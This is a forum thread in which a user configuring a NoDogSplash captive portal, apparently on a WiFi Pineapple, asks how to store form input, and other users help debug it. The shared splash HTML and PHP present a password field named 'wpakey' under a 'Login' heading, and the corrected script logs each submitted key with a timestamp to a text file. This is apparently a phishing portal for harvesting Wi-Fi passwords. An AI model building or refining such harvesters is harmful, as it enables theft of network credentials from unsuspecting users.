Jump to content

NoDogSplash - Save form value?


Boxiom
 Share

Recommended Posts

Hello.

So right now I have a splash where you simply have to click Accept to get access to the network. However, I want the user to input their name in a form to be able to continue. I also want that name to be stored somewhere, so I know who accessed the network and when. I tried using a form on the splash that sends the field inputs to a php script, but obviously the .php file never loads because you aren't authenticated yet. So, is there a way to either:

1. Save the value in a field anywhere on the pineapple

2. Process the form to a .php file and take care of the rest there?

Thanks!

Link to comment
Share on other sites

  • 2 weeks later...
  • 2 weeks later...

Bumping this. Been looking around everywhere with no luck. The links posted above didn't help me because the original files were deleted.

I tried placing the .php files in my /www folder, but I can't access them at all while using nodogsplash.

So if anyone could help me out that would be great. Doesn't have to be done the way I'm thinking, any solution to this would be just fine.

Link to comment
Share on other sites

Have your HTML page post the information to a PHP script on your webserver thats runs on port 8080 in /www and have that script save it to a text file

Link to comment
Share on other sites

Thanks for the reply.

I have uploaded my .php file to the /www folder, which processes the forms in the splash.html and saves the values to a text file. I tried to set FirewallRules allow 8080 in the nodogsplash config within the users-to-router. I also tried to allow that port within the preauthenticated-users. However, I am still not able to access the .php file when submitting the form in the splash file (i simply got stuck on the same page).

My process.php looks like this:

<html>
<body>

<?php
date_default_timezone_set('Etc/GMT-1');
$date = date('m/d/Y G:i:s', time());
$space = ' ';

$dataString = $_GET["wpakey"];
$dataString .= "\n";
$fWrite = fopen("guestbook.txt","a");
$wrote = fwrite($fWrite, $date.$space.$dataString);
fclose($fWrite);
?>
</body>
</html>	

And within my splash.html I have a form that processes the inputs to the process.php.

Any idea what I'm missing?

Link to comment
Share on other sites

Try making a file called test.php and in it write

<?php

echo "hello world";

?>

Then with nodogsplash running try to access 172.16.42.1:8080/test.php let me know if you see "hello world"

Link to comment
Share on other sites

try this:

172.16.42.1:8080/process.php?wpakey=testing123

if that saves testing123 to a file then your problem is with your html.

It could very well be that in your HTML form you are using a "POST" and in your PHP you are expecting a "GET"

$dataString = $_GET["wpakey"];

If that is the case change $_GET to $_POST and that should fix your issue.

$dataString = $_POST["wpakey"];
Link to comment
Share on other sites

Alright, I tried that, and it worked fine. It saved testing123 to the text file. I also tried to upload the splash and process.php to some online free hosting just to test, and the whole thing worked fine. However, if I run nodogsplash and enter something into the textfields it doesn't save to a textfile. So I'm guessing there's something wrong with my html, like you said.

The splash looks like this right now:

<h1>Login</h1>
<br>
<h2>Wpakey:</h2>
<form action="process.php" id="login-form" method="get">
           <input type="password" name="wpakey">
<input type="submit" value="Log in">
         </form>

This didn't work. If I run nodogsplash and enter google.com, I am sent to the splash. When I then fill out the form and click Log In, it says www.google.com/process.php?wpakey=test123. So it somehow doesn't send to my .php file at all it seems.

I also tried this, which didn't work either (just sends me to about:blank in the browser):

<h1>Login</h1>
<br>
<h2>Wpakey:</h2>
<form action="172.16.42.1:8080/process.php" id="login-form" method="get">
           <input type="password" name="wpakey">
<input type="submit" value="Log in">
         </form>

What am I missing? Thanks.

Edit: Just thought I'd mention that I am not authenticated in any way yet when trying this. I thought I'd redirect to the $authtarget after running the php script.

Edited by Boxiom
Link to comment
Share on other sites

HTML

<h1>Login</h1>
<br>
<h2>Wpakey:</h2>
<form action="172.16.42.1:8080/process.php" id="login-form" method="post">
           <input type="password" name="wpakey" id="wpakey">
<input type="submit" value="Log in">
         </form>

PHP

<html>
<body>

<?php
date_default_timezone_set('Etc/GMT-1');
$date = date('m/d/Y G:i:s', time());
$space = ' ';

$dataString = $_POST["wpakey"];
$dataString .= "\n";
$fWrite = fopen("guestbook.txt","a");
$wrote = fwrite($fWrite, $date.$space.$dataString);
fclose($fWrite);
?>
</body>
</html>	

I don't have the time to test it right now but go ahead and try that

Link to comment
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.

 Share

  • Recently Browsing   0 members

    • No registered users viewing this page.
×
×
  • Create New...